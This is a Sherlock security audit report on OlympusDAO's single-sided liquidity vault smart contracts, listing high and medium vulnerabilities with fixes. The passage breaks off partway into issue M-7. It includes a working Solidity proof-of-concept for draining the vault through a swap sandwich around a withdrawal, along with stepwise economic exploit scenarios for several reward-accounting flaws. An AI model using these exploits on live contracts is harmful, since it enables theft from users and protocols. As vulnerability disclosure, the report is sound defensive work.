SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Prepared for:	OlympusDAO
Prepared by:	Sherlock
Lead Security Expert:	0x52
Dates Audited:	February 20 - February 27, 2023
Prepared on:	March 21, 2023

Introduction

Olympus is building OHM, a community-owned, decentralized and censorship-resistant reserve currency that is asset-backed, deeply liquid and used widely across Web3.

Scope

The contracts in-scope for this audit are:

The in-scope contracts depend on these previously audited and external contracts:

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
13	6

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

0x52
cccz
Bahurum
cducrest-brainbot
KingNFT
rvierdiiev
Bobface
immeas
ABA
RaymondFam
tsvetanovv
shark
GimelSec
minhtrng
hansfriese

chaduke
Ruhum
jonatascm
mahdikarimi
xAlismx
peanuts
ksk2345
0xImanini
CRYP70
ast3ros
saian
hake
carrot
joestakey
Bauer

ronnyx2017
tives
psy4n0n
nobody2018
Met
Aymen0909
Dug
usmannk
ak1
favelanky
kiki_dev
gerdusx
Cryptor
HonorLt

Issue H-1: Liquidity Vault can be drained

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/213

Found by

Bobface, immeas, Bahurum

Summary

The SSLV can be drained. In short, an attacker can extract value from the SSLV free OHM liquidity by sandwiching its own withdrawals with appropriate swaps on the underlying balancer pool.

Vulnerability Detail

The SSLV puts half of the liquidity of an user deposit as newly minted OHM tokens. An user can extract value from this free liquidity by pumping the spot price of OHM in the underlying before calling `withdraw()` and dumping the spot price afterwards. This way during withdrawal the SSLV receives more wstETH and less OHM than normal. The vault sees impermanent loss due to the swap, where the loss comes from the reduced amount of OHM received. However, the user does not share this loss since he never handles OHM and has a gain instead from the accrued amount of wstETH received.

The amount of spot price manipulation possible is reduced by the `THRESHOLD` in the `_isPoolSafe()` check, so capital losses from the one iteration of the manipulation attack will be constrained and be at less than 2% capital used. However, an attacker can leverage flash loans to get a large amount of capital and make net losses large. Exact profitability of the attack depends on the Balancer Pool fees and if the pool has enough TVL to make net gains larger than gas fees.

A realistic scenario for the attack is as follow:

- `THRESHOLD` = 2%
- Balancer pool fee = 0.3%
- initial wstETH in pool = 100
- initial OHM in pool = 17670
- initial OHM pool price = oracle OHM price = 176.39 OHM for 1 wstETH
- Attacker in the same tx:
  1. Flashloan 918.82 wstETH from AAVE
  2. Deposit 900 wsETH into SSLV

3. Swap 10 wstETH for 1741.2 OHM on balancer pool
4. Withdraw liquidity from SSLV: receive 909.00 wstETH
5. Swap 1741.2 OHM for 9.13 wstETH on balancer pool
6. Price in the balancer pool is now 209.1 OHM per 1 wstETH. Swap 8.146 wsETH for 1560.0 OHM to reset the pool price to the initial value
7. swap the 1560.0 OHM on the open market (not balancer) for around 1560.0/176.39 - fees = 8.82 wstETH
8. Attacker has 909.00 + 9.13 - 8.146 + 8.82 = 918,8 wstETH. Pay 0.09 % fee on flash loan = 918.134 * 0.0009 = 0.81 wstETH.
9. Net gain after flashloan fee: 8 wstETH. He managed to extract the part of liquidity added by the SSLV (9 wstETH value minus all fees)
10. Since pool price is reset to the initial value, all the steps above can be repeated but with amount of tokens scaled respect to the new liquidity in the balancer pool. Pool can be drained by repeating many times

PoC

The scenario above is tested in the following. `THRESHOLD` has been set to 2%. The values are all divided by 100 to stick with the 1 wstETH deposit already in the `setUp()`. Also exact values will change slighthly depending on chainlink prices at test execution. `LIMIT` is increased from 1000e9 to 10000e9. `FixedPointMathLib` is used instead of `FullMath` for convenience in arithmetic operations. Necessary interfaces for swaps have been added to `IBalancer.sol`

```
function testDrainPool() public {

        bytes memory userData;
        uint256 wstEthAmount = 9 * 1e18;
        uint256 wstEthAmountSwap = 9 * liquidityVault.THRESHOLD() * 1e18 / 2;
        uint256 oraclePrice = liquidityVault._valueCollateral(1e18);

        FundManagement memory funds = FundManagement(
            {
                sender: alice,
                fromInternalBalance: false,
                recipient: payable(alice),
                toInternalBalance: false
            }
        );
        SingleSwap memory singleSwap = SingleSwap(
            {
                poolId: liquidityPool.getPoolId(),
                kind: SwapKind(0),
```

```
                assetIn: address(wsteth),
                assetOut: address(ohm),
                amount: wstEthAmountSwap,
                userData: userData
            }
        );

        uint256 initialAlicewstEthBalance = wsteth.balanceOf(alice);
        uint256 initialAliceOhmBalance = ohm.balanceOf(alice);

        vm.startPrank(alice);

        // 2. Deposit
        liquidityVault.deposit(wstEthAmount, 0);
        uint256 aliceLpPosition = liquidityVault.lpPositions(alice);
        console2.log("2. wsETH deposited into SSLV:" , wstEthAmount);

        // 3. Swap wstETH for OHM on balancer
        wsteth.approve(address(vault), wstEthAmount);
        uint256 ohmOut = vault.swap(singleSwap,
                                    funds,
                                    0,
                                    block.timestamp + 1);
        console2.log("3.Initial Pool price: ", oraclePrice);
        console2.log("3.SWAP - wstETH in :", wstEthAmount);
        console2.log("3.SWAP - OHM out :", ohmOut);

        // 4. withdraw
        uint256 wstETHfromWithdraw = liquidityVault.withdraw(aliceLpPosition,
    ↪ minTokenAmounts_, true);
        console2.log("4. wstETH obtained from Withdrawal:", wstETHfromWithdraw);

        // 5. Swap OHM for wstETH on balancer
        singleSwap.assetIn = address(ohm);
        singleSwap.assetOut = address(wsteth);
        singleSwap.amount = ohmOut;
        ohm.approve(address(vault), ohmOut);
        uint256 wstEthOut = vault.swap(singleSwap,
                                    funds,
                                    0,
                                    block.timestamp + 1);
        console2.log("5. wsETH received from swap:", wstEthOut);
        console2.log("5. OHM given in swap:", ohmOut);

        // 6. Swap wstETH for OHM on balancer to get to initial pool price
        (, uint256[] memory balances_, ) = vault.getPoolTokens(
            IBasePool(liquidityPool).getPoolId()
        );
```

```
        uint256 price = (balances_[0] * 1e18) / balances_[1];
        uint256 priceRatio = price.divWadDown(oraclePrice);
        singleSwap.assetIn = address(wsteth);
        singleSwap.assetOut = address(ohm);
        singleSwap.amount = balances_[1].mulWadDown(priceRatio.sqrt()*1e9 -
↪   1e18);
        uint256 ohmOutArbitrage = vault.swap(singleSwap,
                                  funds,
                                  0,
                                  block.timestamp + 1);

        (, balances_, ) = vault.getPoolTokens(
            IBasePool(liquidityPool).getPoolId()
        );
        console2.log("6. Manipulated price: ", price);
        price = (balances_[0] * 1e18) / balances_[1];
        console2.log("6. wsETH swapped: ", singleSwap.amount);
        console2.log("6. OHM received from swap:", ohmOutArbitrage);
        console2.log("6. Corrected price: ", price);

        // 7. swap the obtained OHM on the market for wstETH
        // here bob is an exchange on the market
        ohm.transfer(bob, ohmOutArbitrage); // send OHM to the exchange
        vm.stopPrank();
        vm.prank(bob);
        uint256 wstethReceived =
↪   ohmOutArbitrage.divWadDown(oraclePrice)*997/1000;  // 0.3% assume fee on swap
        wsteth.transfer(alice, wstethReceived);
        console2.log("7. OHM swapped: ", ohmOutArbitrage);
        console2.log("7. wstETh Received from swap: ", wstethReceived);

        console2.log("Initial OHM balance:", initialAliceOhmBalance);
        console2.log("Final OHM balance:", ohm.balanceOf(alice));
        int wsETHgain = int(wsteth.balanceOf(alice)) -
↪   int(initialAlicewstEthBalance);
        if (wsETHgain > 0) {
            console2.log("wstETH gain:", uint(wsETHgain));
        } else {
            console2.log("wstETH loss:", uint(-wsETHgain));
        }
    }
```

Impact

The impact depends on THRESHOLD, balancer pool fees, network congestion and TVL in the balancer pool. With current values, the attacker can easily drain a large part of the wstETH in the SSLV.

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L217

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L280

Tool used

Manual Review

Recommendation

Some combinations of `THRESHOLD` and balancer pool fee make the attack always unprofitable.

If balancer pool fee = 0.3%, then the attack is unprofitable for `THRESHOLD` < 1% in the scenario above (slight loss due to fees).

Also, with `THRESHOLD` = 2%, an higher value appropriate for balancer pool fee should make this unprofitable.

However, to be sure that this cannot be exploited, just add a withdrawal fee on the SSLV pool of half the `THRESHOLD` value.

Issue H-2: User can drain entire reward balance due to accounting issue in _claimInternalRewards and _claimExternalRewards

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/161

Found by

0xlmanini, carrot, nobody2018, GimelSec, ABA, Bauer, chaduke, Met, KingNFT, rvierdiiev, 0x52, Bahurum, Aymen0909

Summary

The `userRewardDebts` array stores the users debt to 36 dp but in `_claimInternalRewards` and `_claimExternalRewards` the 18 dp reward token amount. The result is that `usersRewardDebts` incorrectly tracks how many rewards have been claimed and would allow an adversary to claim repeatedly and drain the entire reward balance of the contract.

Vulnerability Detail

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L368-L369

When calculating the total rewards owed a user it subtracts `userRewardDebts` from `lpPositions[user_] * accumulatedRewardsPerShare`. Since `lpPositions[user_]` and `accumulatedRewardsPerShare` are both 18 dp values, this means that `userRewardDebts` should store the debt to 36 dp.

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L542-L545

In `_depositUpdateRewardDebts` we can see that `userRewardDebts` is in fact stored as a 36 dp value because `lpReceived_` and `rewardToken.accumulatedRewardsPerShare` are both 18 dp values.

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L623-L634

When claiming tokens, `userRewardDebts` is updated with the raw 18 dp `reward` amount NOT a 36 dp value like it should. The result is that `userRewardDebts` is incremented by a fraction of what it should be. Since it isn't updated correctly, subsequent claims will give the user too many tokens. An malicious user could abuse this to repeatedly call the contract and drain it of all reward tokens.

Impact

Contract will send to many reward tokens and will be drained

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L623-L634

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L636-L647

Tool used

ChatGPT

Recommendation

Scale the `reward` amount by 1e18:

```
    uint256 fee = (reward * FEE) / PRECISION;

-   userRewardDebts[msg.sender][rewardToken.token] += reward;
+   userRewardDebts[msg.sender][rewardToken.token] += reward * 1e18;
```

Issue H-3: Adversary can economically exploit wstETHLiquidityVault

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/110

Found by

KingNFT, cducrest-brainbot, 0x52

Summary

Adversary can profit off of the single sided liquidity vault by depositing, buying OHM, withdrawing then dumping the profited OHM. This attack remains profitable regardless of the value of `THRESHOLD`.

Vulnerability Detail

SingleSidedLiquidityVault#deposit allows a user to specify the amount of wstETH they wish to deposit into the vault. The vault then mints the proper amount of OHM to match this, then deposits both into the wstETH/OHM liquidity pool on Balancer. If the price of OHM changes between deposit and withdrawal, the vault will effectively eat the IL caused by the movement. If the price decreases then the vault will burn more OHM than minted. If the price increases then the vault will burn less OHM than minted. This discrepancy can be exploited by malicious users to profit at the expense of the vault.

First we will outline the flow of the attack then run through the numbers:

1. Deposit wstETH, which causes the vault to mint OHM as a counter-asset
2. Buy OHM from the liquidity pool making sure to not go outside the price threshold to trigger the isPoolSafe check
3. Withdraw wstETH
4. Sell acquired OHM for a profit

Now we can crunch the numbers to prove that this is profitable:

The only assumption we need to make is the price of OHM/wstETH which for simplicity we will assume is 1:1.

Balances before attack: Liquidity: 80 OHM 80 wstETH Adversary: 20 wstETH

Balances after adversary has deposited to the pool: Liquidity: 100 OHM 100 wstETH Adversary: 0 wstETH

Balances after adversary sells wstETH for OHM (1% movement in price): Liquidity: 99.503 OHM 100.498 wstETH Adversary: 0.496 OHM -0.498 wstETH

Balances after adversary removes their liquidity: Liquidity: 79.602 OHM 80.399 wstETH Adversary: 0.496 OHM 19.7 wstETH

Balances after selling profited OHM: Liquidity: 80.099 OHM 79.9 wstETH Adversary: 20.099 wstETH

We can see that the adversary will gain wstETH for each time they loop this through attack. The profit being made i For simplicity I have only walked through a single direction attack but the adversary could easily drop the price to the lower threshold then start the attack to gain a larger amount of wstETH.

No matter how tight the threshold is set it is impossible to make this kind of attack unprofitable. Tighter thresholds just increases the amount of capital required to make it profitable. Another issue is that the THRESHOLD value can only get so small before the it starts causing random reverts for legitimate users.

For additional context, the fee charged by the pool only slightly impacts the profitability of this attack. Since the attacker only needs to manipulate the price within the threshold, fees scale linearly with THRESHOLD and therefore don't change the profitability of the attack.

Impact

Vault can be exploited for a nearly unlimited amount of OHM

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L187-L244

Tool used

ChatGPT

Recommendation

The only mechanism I can think of to prevent this is to add a withdraw/deposit fee to the vault

Discussion

unbanksy

The auditor incorrectly assumes that the user receives OHM on withdraw:

```
Balances after adversary sells wstETH for OHM (1% movement in price):
Liquidity: 99.503 OHM 100.498 wstETH
```

```
Adversary: 0.496 OHM -0.498 wstETH
```

That is not the case as the OHM is burned by the protocol. @0xLienid right?

0xLienid

@unbanksy I don't think that's the assumption the auditor is making. Based on their math it seems they recognize that the user only gets the wstETH portion back based on these steps:

```
Balances after adversary sells wstETH for OHM (1% movement in price):
Liquidity: 99.503 OHM 100.498 wstETH
Adversary: 0.496 OHM -0.498 wstETH

Balances after adversary removes their liquidity:
Liquidity: 79.602 OHM 80.399 wstETH
Adversary: 0.496 OHM 19.7 wstETH
```

I think the "Balances after adversary removes their liquidity" step might be wrong and the adversary should end up with 19.6016 wstETH which would make this not really profitable.

IAm0x52

@0xLienid The 19.7 is a typo. When they withdraw they get 20.0996 which makes their net 19.6016. So it should read 19.6 at that step not 19.7. When the user sells their OHM they net 0.499 stETH so the final balance is correct at 20.099 (19.6+0.499) and the attack is profitable.

SHERLOCK

Issue H-4: claimFees may cause some external rewards to be locked in the contract

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/100

Found by

cccz

Summary

claimFees will update rewardToken.lastBalance so that if there are unaccrued reward tokens in the contract, users will not be able to claim them.

Vulnerability Detail

_accumulateExternalRewards takes the difference between the contract's reward token balance and lastBalance as the reward. and the accumulated reward tokens are updated by _updateExternalRewardState.

```
    function _accumulateExternalRewards() internal override returns (uint256[]
↪   memory) {
        uint256 numExternalRewards = externalRewardTokens.length;

        auraPool.rewardsPool.getReward(address(this), true);

        uint256[] memory rewards = new uint256[](numExternalRewards);
        for (uint256 i; i < numExternalRewards; ) {
            ExternalRewardToken storage rewardToken = externalRewardTokens[i];
            uint256 newBalance =
↪   ERC20(rewardToken.token).balanceOf(address(this));

            // This shouldn't happen but adding a sanity check in case
            if (newBalance < rewardToken.lastBalance) {
                emit LiquidityVault_ExternalAccumulationError(rewardToken.token);
                continue;
            }

            rewards[i] = newBalance - rewardToken.lastBalance;
            rewardToken.lastBalance = newBalance;

            unchecked {
                ++i;
            }
        }
        return rewards;
```

```
    }
...
    function _updateExternalRewardState(uint256 id_, uint256 amountAccumulated_)
↪   internal {
        // This correctly uses 1e18 because the LP tokens of all major DEXs have
↪   18 decimals
        if (totalLP != 0)
            externalRewardTokens[id_].accumulatedRewardsPerShare +=
                (amountAccumulated_ * 1e18) /
                totalLP;
    }
```

auraPool.rewardsPool.getReward can be called by anyone to send the reward tokens to the contract

```
function getReward(address _account, bool _claimExtras) public
↪   updateReward(_account) returns(bool){
    uint256 reward = earned(_account);
    if (reward > 0) {
        rewards[_account] = 0;
        rewardToken.safeTransfer(_account, reward);
        IDeposit(operator).rewardClaimed(pid, _account, reward);
        emit RewardPaid(_account, reward);
    }

    //also get rewards from linked rewards
    if(_claimExtras){
        for(uint i=0; i < extraRewards.length; i++){
            IRewards(extraRewards[i]).getReward(_account);
        }
    }
    return true;
}
```

However, in claimFees, the rewardToken.lastBalance will be updated to the current contract balance after the admin has claimed the fees.

```
function claimFees() external onlyRole("liquidityvault_admin") {
    uint256 numInternalRewardTokens = internalRewardTokens.length;
    uint256 numExternalRewardTokens = externalRewardTokens.length;

    for (uint256 i; i < numInternalRewardTokens; ) {
        address rewardToken = internalRewardTokens[i].token;
        uint256 feeToSend = accumulatedFees[rewardToken];

        accumulatedFees[rewardToken] = 0;
```

```
        ERC20(rewardToken).safeTransfer(msg.sender, feeToSend);

        unchecked {
            ++i;
        }
    }

    for (uint256 i; i < numExternalRewardTokens; ) {
        ExternalRewardToken storage rewardToken = externalRewardTokens[i];
        uint256 feeToSend = accumulatedFees[rewardToken.token];

        accumulatedFees[rewardToken.token] = 0;

        ERC20(rewardToken.token).safeTransfer(msg.sender, feeToSend);
        rewardToken.lastBalance =
 ↪  ERC20(rewardToken.token).balanceOf(address(this));

        unchecked {
            ++i;
        }
    }
}
```

Consider the following scenario.

1. Start with rewardToken.lastBalance = 200.
2. After some time, the rewardToken in aura is increased by 100.
3. Someone calls getReward to claim the reward tokens to the contract, and the 100 reward tokens increased have not yet been accumulated via _accumulateExternalRewards and _updateExternalRewardState.
4. The admin calls claimFees to update rewardToken.lastBalance to 290(10 as fees).
5. Users call claimRewards and receives 0 reward tokens. 90 reward tokens will be locked in the contract

Impact

It will cause some external rewards to be locked in the contract

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/WstethLiquidityVault.sol#L192-L216 https://github.com/sherlock-audit/2023-02-

olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L496-L503 https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L736-L766

Tool used

Manual Review

Recommendation

Use _accumulateExternalRewards and _updateExternalRewardState in claimFees to accrue rewards.

```
    function claimFees() external onlyRole("liquidityvault_admin") {
        uint256 numInternalRewardTokens = internalRewardTokens.length;
        uint256 numExternalRewardTokens = externalRewardTokens.length;

        for (uint256 i; i < numInternalRewardTokens; ) {
            address rewardToken = internalRewardTokens[i].token;
            uint256 feeToSend = accumulatedFees[rewardToken];

            accumulatedFees[rewardToken] = 0;

            ERC20(rewardToken).safeTransfer(msg.sender, feeToSend);

            unchecked {
                ++i;
            }
        }
+       uint256[] memory accumulatedExternalRewards =
↪   _accumulateExternalRewards();
        for (uint256 i; i < numExternalRewardTokens; ) {
+           _updateExternalRewardState(i, accumulatedExternalRewards[i]);
            ExternalRewardToken storage rewardToken = externalRewardTokens[i];
            uint256 feeToSend = accumulatedFees[rewardToken.token];

            accumulatedFees[rewardToken.token] = 0;

            ERC20(rewardToken.token).safeTransfer(msg.sender, feeToSend);
            rewardToken.lastBalance =
↪   ERC20(rewardToken.token).balanceOf(address(this));

            unchecked {
                ++i;
            }
        }
    }
```

Issue H-5: cachedUserRewards variable is never reset, so user can steal all rewards

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/43

Found by

Ruhum, ABA, saian, rvierdiiev, cducrest-brainbot, KingNFT, CRYP70, ast3ros, minhtrng, jonatascm

Summary

cachedUserRewards variable is never reset, so user can steal all rewards

Vulnerability Detail

When user wants to withdraw then `_withdrawUpdateRewardState` function is called. This function updates internal reward state and claims rewards for user if he provided `true` as `claim_` param.

In case if user didn't want to claim, and `rewardDebtDiff > userRewardDebts[msg.sender][rewardToken.token]` then `cachedUserRewards` variable will be set for him which will allow him to claim that amount later. https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L583-L590

```
if (rewardDebtDiff > userRewardDebts[msg.sender][rewardToken.token]) {
    userRewardDebts[msg.sender][rewardToken.token] = 0;
    cachedUserRewards[msg.sender][rewardToken.token] +=
        rewardDebtDiff -
        userRewardDebts[msg.sender][rewardToken.token];
} else {
    userRewardDebts[msg.sender][rewardToken.token] -= rewardDebtDiff;
}
```

When user calls claimRewards, then `cachedUserRewards` variable is added to the rewards he should receive. The problem is that `cachedUserRewards` variable is never reset to 0, once user claimed that amount.

Because of that he can claim multiple times in order to receive all balance of token.

Impact

User can steal all rewards

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

Once user received rewards, reset `cachedUserRewards` variable to 0. This can be done inside `_claimInternalRewards` function.

Discussion

0xLienid

This should be high severity

Issue H-6: User can receive more rewards through a mistake in the withdrawal logic

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/13

Found by

ak1, jonatascm, carrot, joestakey, GimelSec, ABA, cccz, chaduke, rvierdiiev, psy4n0n, Dug, Ruhum, RaymondFam, usmannk, minhtrng, Bahurum

Summary

In the `withdraw()` function of the SingleSidedLiquidityVault the contract updates the reward state. Because of a mistake in the calculation, the user is assigned more rewards than they're supposed to.

Vulnerability Detail

When a user withdraws their funds, the `_withdrawUpdateRewardState()` function checks how many rewards those LP shares generated. If that amount is higher than the actual amount of reward tokens that the user claimed, the difference between those values is cached and the amount the user claimed is set to 0. That way they receive the remaining shares the next time they claim.

But, the contract resets the number of reward tokens the user claimed *before* it computes the difference. That way, the full amount of reward tokens the LP shares generated are added to the cache.

Here's an example:

1. Alice deposits funds and receives 1e18 shares
2. Alice receives 1e17 rewards and claims those funds immediately
3. Time passes and Alice earns 5e17 more reward tokens
4. Instead of claiming those tokens, Alice withdraws 5e17 (50% of her shares) That executes `_withdrawUpdateRewardState()` with `lpAmount_ = 5e17` and `claim = false`:

Impact

A user can receive more reward tokens than they should by abusing the withdrawal system.

Code Snippet

The issue is that `userRewardDebts` is set to `0` before it's used in the calculation of `cachedUserRewards`: https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L566-L619

Tool used

Manual Review

Recommendation

First calculate `cachedUserRewards` then reset `userRewardDebts`.

Issue M-1: rescueToken doesn't update rewardToken.lastBalance for external reward tokens

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/222

Found by

0x52

Summary

SingleSidedLiquidityVault allows the admin tokens from the vault contract. This can only be done once the vault has been deactivated but there is nothing stopping the contract from being reactivated after a token has been rescued. If an external reward token is rescued then the token accounting will be permanently broken after when/if the vault is re-enabled.

Vulnerability Detail

See summary.

Impact

External reward tokens are broken after being rescued

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L774-L780

Tool used

ChatGPT

Recommendation

If the token being rescued is an external reward token then rescueToken should update rewardToken.lastBalance

Issue M-2: Vault can experience long downtime periods

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/210

Found by

Bahurum

Summary

The chainlink price could stay up to 24 hours (heartbeat period) outside the boundaries defined by `THRESHOLD` but within the chainlink deviation threshold. Deposits and withdrawals will not be possible during this period of time.

Vulnerability Detail

The `_isPoolSafe()` function checks if the balancer pool spot price is within the boundaries defined by `THRESHOLD` respect to the last fetched chainlink price.

Since in `_valueCollateral()` the `updateThreshold` should be 24 hours (as in the tests), then the OHM derived oracle price could stay at up to 2% from the on-chain trusted price. The value is 2% because in WstethLiquidityVault.sol#L223:

```
return (amount_ * stethPerWsteth * stethUsd * decimalAdjustment) / (ohmEth *
↪  ethUsd * 1e18);
```

`stethPerWsteth` is mostly stable and changes in `stethUsd` and `ethUsd` will cancel out, so the return value changes will be close to changes in `ohmEth`, so up to 2% from the on-chain trusted price.

If `THRESHOLD` < 2%, say 1% as in the tests, then the Chainlink price can deviate by more than 1% from the pool spot price and less than 2% from the on-chain trusted price fro up to 24 h. During this period withdrawals and deposits will revert.

Impact

Withdrawals and deposits can be often unavailable for several hours.

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L411-L421

Tool used

Manual Review

Recommendation

`THRESHOLD` is not fixed and can be changed by the admin, meaning that it can take different values over time.Only a tight range of values around 2% should be allowed to avoid the scenario above.

Issue M-3: freezing user rewards for a while

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/187

Found by

ABA, mahdikarimi, xAlismx

Summary

When a user claims some cached rewards it's possible that rewards be freezed for a while .

Vulnerability Detail

the following line in internalRewardsForToken function can revert because already claimed rewards has been added to debt so if amount of debt be higher than accumulated rewards for user LP shares it will revert before counting cached rewards value so user should wait until earned rewards as much as last time he/she claimed rewards to be able claim it . `uint256 totalAccumulatedRewards = (lpPositions[user_] * accumulatedRewardsPerShare) - userRewardDebts[user_][rewardToken.token];`

Impact

user rewards will be locked for a while

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L354-L372

Tool used

Manual Review

Recommendation

add cached rewards to total rewards like the following line `uint256 totalAccumulatedRewards = (lpPositions[user_] * accumulatedRewardsPerShare + cachedUserRewards[user_][rewardToken.token] ) - userRewardDebts[user_][rewardToken.token];`

Issue M-4: Reward tokens can never be added again once they are removed without breaking rewards completely

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/177

Found by

hansfriese, cccz, cducrest-brainbot, 0x52

Summary

Once reward tokens are removed they can never be added back to the contract. The happens because accumulated rewards are tracked differently globally vs individually. Global accumulated rewards are tracked inside the rewardToken array whereas it is tracked by token address for users. When a reward token is removed the global tracker is cleared but the individual trackers are not. If a removed token is added again, the global tracker will reset to zero but the individual tracker won't. As a result of this claiming will fail due to an underflow.

Vulnerability Detail

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L491-L493

The amount of accumulated rewards for a specific token is tracked in it's respective rewardToken struct.

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L624-L629

For individual users the rewards are stored in a mapping.

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L694-L703

When a reward token is removed the global tracker for the accumulated rewards is also removed. The problem is that the individual mapping still stores the previously accumulated rewards. If the token is ever added again, the global accumulated reward tracker will now be reset but the individual trackers will not. This will cause an underflow anytime a user tries to claim reward tokens.

Impact

Reward tokens cannot be added again once they are removed

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L674-L687

Tool used

ChatGPT

Recommendation

Consider tracking accumulatedRewardsPerShare in a mapping rather than in the individual struct or change how removal of reward tokens works

Issue M-5: auraPool.booster.deposit boolean return value not handled in WstethLiquidityVault.sol

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/135

Found by

peanuts, ksk2345, tsvetanovv

Summary

auraPool.booster.deposit boolean return value not handled in WstethLiquidityVault.sol

Vulnerability Detail

The function _deposit() in WstethLiquidityVault.sol is called from deposit#SingleSidedLiquidityVault.sol, and its main aim is to get OHM-PAIR BPT LP tokens and stake the tokens into the aura pool.

```
JoinPoolRequest memory joinPoolRequest = JoinPoolRequest({
    assets: assets,
    maxAmountsIn: maxAmountsIn,
    userData: abi.encode(1, maxAmountsIn, slippageParam_),
    fromInternalBalance: false
});


// Join Balancer pool
ohm.approve(address(vault), ohmAmount_);
pairToken.approve(address(vault), pairAmount_);
vault.joinPool(pool.getPoolId(), address(this), address(this), joinPoolRequest);


// OHM-PAIR BPT after
uint256 lpAmountOut = pool.balanceOf(address(this)) - bptBefore;


// Stake into Aura
pool.approve(address(auraPool.booster), lpAmountOut);
auraPool.booster.deposit(auraPool.pid, lpAmountOut, true);
```

The deposit function in the Aura implementation returns a boolean to acknowledge that the deposit is successful.

https://etherscan.io/address/0x7818A1DA7BD1E64c199029E86Ba244a9798eEE10#code#F34#L1

```
function deposit(uint256 _pid, uint256 _amount, bool _stake) public
↪  returns(bool){
```

Impact

If the boolean value is not handled, the transaction may fail silently.

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/WstethLiquidityVault.sol#L123-L140

Tool used

Manual Review

Recommendation

Recommend checking for success return value

```
-        auraPool.booster.deposit(auraPool.pid, lpAmountOut, true);
+        bool success = auraPool.booster.deposit(auraPool.pid, lpAmountOut,
↪  true);
+        require(success, 'stake failed')
```

like how this protocol does it:

https://github.com/sherlock-audit/2022-12-notional/blob/55b3b0a451331e198fcb28714a0dbd6dabda38c1/contracts/vaults/balancer/internal/pool/TwoTokenPoolUtils.sol#L272-L273

Issue M-6: Internal reward tokens can and likely will over commit rewards

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/128

Found by

0xlmanini, 0x52, tives, minhtrng, Bahurum

Summary

Internal reward tokens accrue indefinitely with no way to change the amount that they accrue each block (besides removing them which has other issues) or input a timestamp that they stop accruing. Additionally there is no check that the contract has enough tokens to fund the rewards that it has committed to. As a result of this the contract may over commit reward tokens and after the token balance of the contract has been exhausted, all further claims will fail.

Vulnerability Detail

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L674-L688

Internal reward tokens are added with a fixed _rewardPerSecond that will accrue indefinitely because it does not have an ending timestamp. As a result the contract won't stop accruing internal rewards even if it has already designated it's entire token balance. After it has over committed it will now be impossible for all users to claim their balance. Additionally claiming rewards is an all or nothing function meaning that once a single reward token starts reverting, it becomes impossible to claim any rewards at all.

Impact

Internal reward tokens can over commit and break claiming of all reward tokens

Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L674-L688

Tool used

ChatGPT

Recommendation

I recommend adding an end timestamp to the accrual of internal tokens. Additionally, the amount of tokens needed to fund the internal tokens should be transferred from the caller (or otherwise tracked) when the token is added.

Issue M-7: Removed reward tokens will no longer be claimable and will cause loss of funds to users who haven't claimed

Source: https://github.com/sherlock-audit/2023-02-olympus-judging/issues/127

Found by

